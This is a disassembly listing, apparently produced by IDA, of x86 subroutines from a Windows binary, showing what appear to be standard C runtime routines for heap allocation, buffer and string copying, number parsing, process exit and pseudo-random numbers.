					; seg000:00407340p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B920
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B95A
; ---------------------------------------------------------------------------


loc_41B920:				; CODE XREF: sub_41B90B+Ej
		test	al, 83h
		jz	short loc_41B958
		push	esi
		call	sub_41E25B
		push	esi
		mov	edi, eax
		call	sub_41E1F5
		push	dword ptr [esi+10h]
		call	sub_41E142
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B946
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B958
; ---------------------------------------------------------------------------


loc_41B946:				; CODE XREF: sub_41B90B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B958
		push	eax
		call	sub_41B961
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B958:				; CODE XREF: sub_41B90B+17j
					; sub_41B90B+39j ...
		mov	eax, edi


loc_41B95A:				; CODE XREF: sub_41B90B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B90B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B961	proc near		; CODE XREF: sub_4010C3+5Ep
					; sub_40AA8C+B1p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41B98E
		push	esi
		call	sub_41E3A7
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B980
		push	eax
		call	sub_41E3D2
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B980:				; CODE XREF: sub_41B961+13j
		push	0
		push	ds:dword_4E2B80
		call	ds:dword_427144	; RtlFreeHeap


loc_41B98E:				; CODE XREF: sub_41B961+7j
		pop	esi
		retn
sub_41B961	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B990	proc near		; CODE XREF: sub_4010C3+45p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B9B4
		xor	eax, eax
		jmp	loc_41BA5D
; ---------------------------------------------------------------------------


loc_41B9B4:				; CODE XREF: sub_41B990+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B9C7
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B9D3
; ---------------------------------------------------------------------------


loc_41B9C7:				; CODE XREF: sub_41B990+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B9D3
; ---------------------------------------------------------------------------


loc_41B9D0:				; CODE XREF: sub_41B990+C4j
		mov	ecx, [ebp+arg_0]


loc_41B9D3:				; CODE XREF: sub_41B990+35j
					; sub_41B990+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BA05
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41BA05
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B9EA
		mov	edi, eax


loc_41B9EA:				; CODE XREF: sub_41B990+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	near ptr sub_41C9B0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41BA50
; ---------------------------------------------------------------------------


loc_41BA05:				; CODE XREF: sub_41B990+49j
					; sub_41B990+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41BA38
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41BA1B
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41BA1B:				; CODE XREF: sub_41B990+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41EF81
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BA62
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BA68
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41BA50
; ---------------------------------------------------------------------------


loc_41BA38:				; CODE XREF: sub_41B990+78j
		push	esi
		call	sub_41EEA8
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41BA6C
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41BA50:				; CODE XREF: sub_41B990+73j
					; sub_41B990+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B9D0
		mov	eax, [ebp+arg_8]


loc_41BA5D:				; CODE XREF: sub_41B990+1Fj
					; sub_41B990+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BA62:				; CODE XREF: sub_41B990+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41BA6C
; ---------------------------------------------------------------------------


loc_41BA68:				; CODE XREF: sub_41B990+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41BA6C:				; CODE XREF: sub_41B990+B2j
					; sub_41B990+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41BA5D
sub_41B990	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA78	proc near		; CODE XREF: sub_4010C3+2Ep
					; sub_41D673+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_41BA93
		push	[esp+10h+arg_4]
		call	sub_41BBCB
		pop	ecx
		jmp	loc_41BB93
; ---------------------------------------------------------------------------


loc_41BA93:				; CODE XREF: sub_41BA78+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_41BAA9
		push	ebx
		call	sub_41B961
		pop	ecx


loc_41BAA2:				; CODE XREF: sub_41BA78+114j
		xor	eax, eax
		jmp	loc_41BB93
; ---------------------------------------------------------------------------


loc_41BAA9:				; CODE XREF: sub_41BA78+21j
					; sub_41BA78+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BB74
		push	ebx
		call	sub_41E3A7
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_41BB51
		cmp	esi, ds:dword_44255C
		ja	short loc_41BB11
		push	esi
		push	ebx
		push	ebp
		call	sub_41EBB2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BAE0
		mov	edi, ebx
		jmp	short loc_41BB09
; ---------------------------------------------------------------------------


loc_41BAE0:				; CODE XREF: sub_41BA78+62j
		push	esi
		call	sub_41E6FD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BB11
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BAF7
		mov	eax, esi


loc_41BAF7:				; CODE XREF: sub_41BA78+7Bj
		push	eax
		push	ebx
		push	edi
		call	near ptr sub_41C9B0
		push	ebx
		push	ebp
		call	sub_41E3D2
		add	esp, 14h


loc_41BB09:				; CODE XREF: sub_41BA78+66j
		test	edi, edi
		jnz	loc_41BB91


loc_41BB11:				; CODE XREF: sub_41BA78+53j
					; sub_41BA78+73j
		test	esi, esi
		jnz	short loc_41BB18
		push	1
		pop	esi


loc_41BB18:				; CODE XREF: sub_41BA78+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_4E2B80
		call	ds:dword_427148	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BB74
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BB3D
		mov	eax, esi


loc_41BB3D:				; CODE XREF: sub_41BA78+C1j
		push	eax
		push	ebx
		push	edi
		call	near ptr sub_41C9B0
		push	ebx
		push	ebp
		call	sub_41E3D2
		add	esp, 14h
		jmp	short loc_41BB70
; ---------------------------------------------------------------------------


loc_41BB51:				; CODE XREF: sub_41BA78+47j
		test	esi, esi
		jnz	short loc_41BB58
		push	1
		pop	esi


loc_41BB58:				; CODE XREF: sub_41BA78+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	ds:dword_4E2B80
		call	ds:dword_42719C	; RtlReAllocateHeap
		mov	edi, eax


loc_41BB70:				; CODE XREF: sub_41BA78+D7j
		test	edi, edi
		jnz	short loc_41BB91


loc_41BB74:				; CODE XREF: sub_41BA78+36j
					; sub_41BA78+B9j
		cmp	ds:dword_4E1578, 0
		jz	short loc_41BB91
		push	esi
		call	sub_41F177
		test	eax, eax
		pop	ecx
		jnz	loc_41BAA9
		jmp	loc_41BAA2
; ---------------------------------------------------------------------------


loc_41BB91:				; CODE XREF: sub_41BA78+93j
					; sub_41BA78+FAj ...
		mov	eax, edi


loc_41BB93:				; CODE XREF: sub_41BA78+16j
					; sub_41BA78+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41BA78	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB98	proc near		; CODE XREF: sub_41BBB8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F302
		test	eax, eax
		jnz	short loc_41BBA2
		retn
; ---------------------------------------------------------------------------


loc_41BBA2:				; CODE XREF: sub_41BB98+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F192
		add	esp, 10h
		retn
sub_41BB98	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBB8	proc near		; CODE XREF: sub_4010C3+18p
					; seg000:00407314p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BB98
		add	esp, 0Ch
		retn
sub_41BBB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBCB	proc near		; CODE XREF: sub_4010C3+6p
					; sub_40AA8C+63p ...

arg_0		= dword	ptr  4

		push	ds:dword_4E1578
		push	[esp+4+arg_0]
		call	sub_41BBDD
		pop	ecx
		pop	ecx
		retn
sub_41BBCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBDD	proc near		; CODE XREF: sub_41BBCB+Ap
					; sub_41D665+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41BC06


loc_41BBE4:				; CODE XREF: sub_41BBDD+27j
		push	[esp+arg_0]
		call	sub_41BC09
		test	eax, eax
		pop	ecx
		jnz	short locret_41BC08
		cmp	[esp+arg_4], eax
		jz	short locret_41BC08
		push	[esp+arg_0]
		call	sub_41F177
		test	eax, eax
		pop	ecx
		jnz	short loc_41BBE4


loc_41BC06:				; CODE XREF: sub_41BBDD+5j
		xor	eax, eax

locret_41BC08:				; CODE XREF: sub_41BBDD+13j
					; sub_41BBDD+19j
		retn
sub_41BBDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BC09	proc near		; CODE XREF: sub_41BBDD+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, ds:dword_44255C
		ja	short loc_41BC21
		push	esi
		call	sub_41E6FD
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC3D


loc_41BC21:				; CODE XREF: sub_41BC09+Bj
		test	esi, esi
		jnz	short loc_41BC28
		push	1
		pop	esi


loc_41BC28:				; CODE XREF: sub_41BC09+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_4E2B80
		call	ds:dword_427148	; RtlAllocateHeap


loc_41BC3D:				; CODE XREF: sub_41BC09+16j
		pop	esi
		retn
sub_41BC09	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BC40	proc near		; CODE XREF: sub_401135+3Cp
					; sub_401135+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41BC93
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41BC87
		neg	ecx
		and	ecx, 3
		jz	short loc_41BC69
		sub	edx, ecx


loc_41BC63:				; CODE XREF: sub_41BC40+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41BC63


loc_41BC69:				; CODE XREF: sub_41BC40+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41BC87
		rep stosd
		test	edx, edx
		jz	short loc_41BC8D


loc_41BC87:				; CODE XREF: sub_41BC40+18j
					; sub_41BC40+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41BC87


loc_41BC8D:				; CODE XREF: sub_41BC40+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BC93:				; CODE XREF: sub_41BC40+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41BC40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BCA0	proc near		; CODE XREF: sub_4018A1+98p
					; seg000:00401BC4p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41BD23
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41BCC4
		shr	ecx, 2
		jnz	short loc_41BD31
		jmp	short loc_41BCE5
; ---------------------------------------------------------------------------


loc_41BCC4:				; CODE XREF: sub_41BCA0+1Bj
					; sub_41BCA0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41BCF2
		test	al, al
		jz	short loc_41BCFA
		test	esi, 3
		jnz	short loc_41BCC4
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41BD31


loc_41BCE0:				; CODE XREF: sub_41BCA0+8Fj
		and	ebx, 3
		jz	short loc_41BCF2


loc_41BCE5:				; CODE XREF: sub_41BCA0+22j
					; sub_41BCA0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41BD1E
		dec	ebx
		jnz	short loc_41BCE5


loc_41BCF2:				; CODE XREF: sub_41BCA0+2Bj
					; sub_41BCA0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BCFA:				; CODE XREF: sub_41BCA0+2Fj
		test	edi, 3
		jz	short loc_41BD14


loc_41BD02:				; CODE XREF: sub_41BCA0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41BD96
		test	edi, 3
		jnz	short loc_41BD02


loc_41BD14:				; CODE XREF: sub_41BCA0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41BD87


loc_41BD1B:				; CODE XREF: sub_41BCA0+7Fj
					; sub_41BCA0+F4j
		mov	[edi], al
		inc	edi


loc_41BD1E:				; CODE XREF: sub_41BCA0+4Dj
		dec	ebx
		jnz	short loc_41BD1B
		pop	ebx
		pop	esi


loc_41BD23:				; CODE XREF: sub_41BCA0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BD29:				; CODE XREF: sub_41BCA0+A9j
					; sub_41BCA0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41BCE0


loc_41BD31:				; CODE XREF: sub_41BCA0+20j
					; sub_41BCA0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41BD29
		test	dl, dl
		jz	short loc_41BD7B
		test	dh, dh
		jz	short loc_41BD71
		test	edx, 0FF0000h
		jz	short loc_41BD67
		test	edx, 0FF000000h
		jnz	short loc_41BD29
		mov	[edi], edx
		jmp	short loc_41BD7F
; ---------------------------------------------------------------------------


loc_41BD67:				; CODE XREF: sub_41BCA0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41BD7F
; ---------------------------------------------------------------------------


loc_41BD71:				; CODE XREF: sub_41BCA0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41BD7F
; ---------------------------------------------------------------------------


loc_41BD7B:				; CODE XREF: sub_41BCA0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41BD7F:				; CODE XREF: sub_41BCA0+C5j
					; sub_41BCA0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41BD91


loc_41BD87:				; CODE XREF: sub_41BCA0+79j
		xor	eax, eax


loc_41BD89:				; CODE XREF: sub_41BCA0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41BD89


loc_41BD91:				; CODE XREF: sub_41BCA0+E5j
		and	ebx, 3
		jnz	short loc_41BD1B


loc_41BD96:				; CODE XREF: sub_41BCA0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41BCA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BD9E	proc near		; CODE XREF: sub_41BE29+4p
					; sub_42464C+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41BDA6:				; CODE XREF: sub_41BD9E+34j
		cmp	ds:dword_44276C, 1
		jle	short loc_41BDBE
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_41BDCD
; ---------------------------------------------------------------------------


loc_41BDBE:				; CODE XREF: sub_41BD9E+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, ds:off_442560
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BDCD:				; CODE XREF: sub_41BD9E+1Ej
		test	eax, eax
		jz	short loc_41BDD4
		inc	edi
		jmp	short loc_41BDA6
; ---------------------------------------------------------------------------


loc_41BDD4:				; CODE XREF: sub_41BD9E+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41BDE4
		cmp	esi, 2Bh
		jnz	short loc_41BDE8


loc_41BDE4:				; CODE XREF: sub_41BD9E+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41BDE8:				; CODE XREF: sub_41BD9E+44j
		xor	ebx, ebx


loc_41BDEA:				; CODE XREF: sub_41BD9E+7Bj
		cmp	ds:dword_44276C, 1
		jle	short loc_41BDFF
		push	4
		push	esi
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_41BE0A
; ---------------------------------------------------------------------------


loc_41BDFF:				; CODE XREF: sub_41BD9E+53j
		mov	eax, ds:off_442560
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BE0A:				; CODE XREF: sub_41BD9E+5Fj
		test	eax, eax
		jz	short loc_41BE1B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41BDEA
; ---------------------------------------------------------------------------


loc_41BE1B:				; CODE XREF: sub_41BD9E+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41BE24
		neg	eax


loc_41BE24:				; CODE XREF: sub_41BD9E+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41BD9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE29	proc near		; CODE XREF: seg000:00402238p
					; seg000:00402495p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41BD9E
		pop	ecx
		retn
sub_41BE29	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE34	proc near
		mov	eax, ds:off_44252C
		test	eax, eax
		jz	short loc_41BE3F
		call	eax ; sub_41CDE8


loc_41BE3F:				; CODE XREF: sub_41BE34+7j
		push	offset dword_429034
		push	offset dword_429020
		call	sub_41BF1C
		push	offset dword_42901C
		push	offset dword_429000
		call	sub_41BF1C
		add	esp, 10h
		retn
sub_41BE34	endp

; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41BE83
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41BE72	proc near		; CODE XREF: sub_41E0F9+1Cp
					; sub_4223CC+2266p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41BE83
		add	esp, 0Ch
		retn
sub_41BE72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE83	proc near		; CODE XREF: seg000:0041BE69p
					; sub_41BE72+8p

arg_0		= dword	ptr  4
arg_1C		= dword	ptr  20h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h

		push	edi
		push	1
		pop	edi
		cmp	ds:dword_4E1540, edi
		jnz	short loc_41BEA0
		push	[esp+4+arg_0]
		call	near ptr 0B00000h
		sub	[eax-18h], edx
		popa
		inc	ecx
		outsb
		add	[ecx], al


loc_41BEA0:				; CODE XREF: sub_41BE83+Aj
		cmp	[esp-18h+arg_20], 0
		push	ebx
		mov	ebx, [esp-14h+arg_24]
		mov	ds:dword_4E153C, edi
		mov	ds:byte_4E1538,	bl
		jnz	short loc_41BEF4
		mov	eax, ds:dword_4E2B94
		test	eax, eax
		jz	short loc_41BEE3
		mov	ecx, ds:dword_4E2B90
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41BEE2


loc_41BECF:				; CODE XREF: sub_41BE83+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41BED7
		call	eax


loc_41BED7:				; CODE XREF: sub_41BE83+50j
		sub	esi, 4
		cmp	esi, ds:dword_4E2B94
		jnb	short loc_41BECF


loc_41BEE2:				; CODE XREF: sub_41BE83+4Aj
		pop	esi


loc_41BEE3:				; CODE XREF: sub_41BE83+3Cj
		push	offset dword_429040
		push	offset dword_429038
		call	sub_41BF1C
		pop	ecx
		pop	ecx


loc_41BEF4:				; CODE XREF: sub_41BE83+33j
		push	offset dword_42904C
		push	offset dword_429044
		call	sub_41BF1C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41BF1A
		push	[esp-18h+arg_1C]
		mov	ds:dword_4E1540, edi
		call	ds:dword_427068	; ExitProcess


loc_41BF1A:				; CODE XREF: sub_41BE83+85j
		pop	edi
		retn
sub_41BE83	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41BF1C	proc near		; CODE XREF: sub_41BE34+15p
					; sub_41BE34+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41BF21:				; CODE XREF: sub_41BF1C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41BF34
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41BF2F
		call	eax


loc_41BF2F:				; CODE XREF: sub_41BF1C+Fj
		add	esi, 4
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF34:				; CODE XREF: sub_41BF1C+9j
		pop	esi
		retn
sub_41BF1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BF36	proc near		; CODE XREF: sub_401A09+5Bp
					; seg000:00401EA5p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F504
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41BF76
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41BF83
; ---------------------------------------------------------------------------


loc_41BF76:				; CODE XREF: sub_41BF36+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F3EF
		pop	ecx
		pop	ecx


loc_41BF83:				; CODE XREF: sub_41BF36+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41BF36	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF88	proc near		; CODE XREF: seg000:0040129Ap
					; seg000:00404CB2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_442510, eax
		retn
sub_41BF88	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF92	proc near		; CODE XREF: seg000:loc_4028A7p
					; seg000:00404FCBp ...
		mov	eax, ds:dword_442510
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	ds:dword_442510, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41BF92	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: seg000:00401C00p
					; seg000:00401DBAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41C02A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41C017


loc_41BFC8:				; CODE XREF: sub_41BFB0+52j
					; sub_41BFB0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41BFEA
		test	al, al
		jz	short loc_41BFE4


loc_41BFD9:				; CODE XREF: sub_41BFB0+32j
		mov	al, [esi]
		inc	esi


loc_41BFDC:				; CODE XREF: sub_41BFB0+3Fj
		cmp	al, dl
		jz	short loc_41BFEA
		test	al, al
		jnz	short loc_41BFD9


loc_41BFE4:				; CODE XREF: sub_41BFB0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41BFEA:				; CODE XREF: sub_41BFB0+23j
					; sub_41BFB0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41BFDC
		lea	edi, [esi-1]


loc_41BFF4:				; CODE XREF: sub_41BFB0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41C023
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41BFC8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41C023
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41BFF4
		jmp	short loc_41BFC8
; ---------------------------------------------------------------------------


loc_41C017:				; CODE XREF: sub_41BFB0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C656
; ---------------------------------------------------------------------------


loc_41C023:				; CODE XREF: sub_41BFB0+49j
					; sub_41BFB0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C02A:				; CODE XREF: sub_41BFB0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41BFB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C030	proc near		; CODE XREF: seg000:00403743p
					; seg000:00403774p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F504
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C06F
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C07C
; ---------------------------------------------------------------------------


loc_41C06F:				; CODE XREF: sub_41C030+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F3EF
		pop	ecx
		pop	ecx


loc_41C07C:				; CODE XREF: sub_41C030+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C030	endp


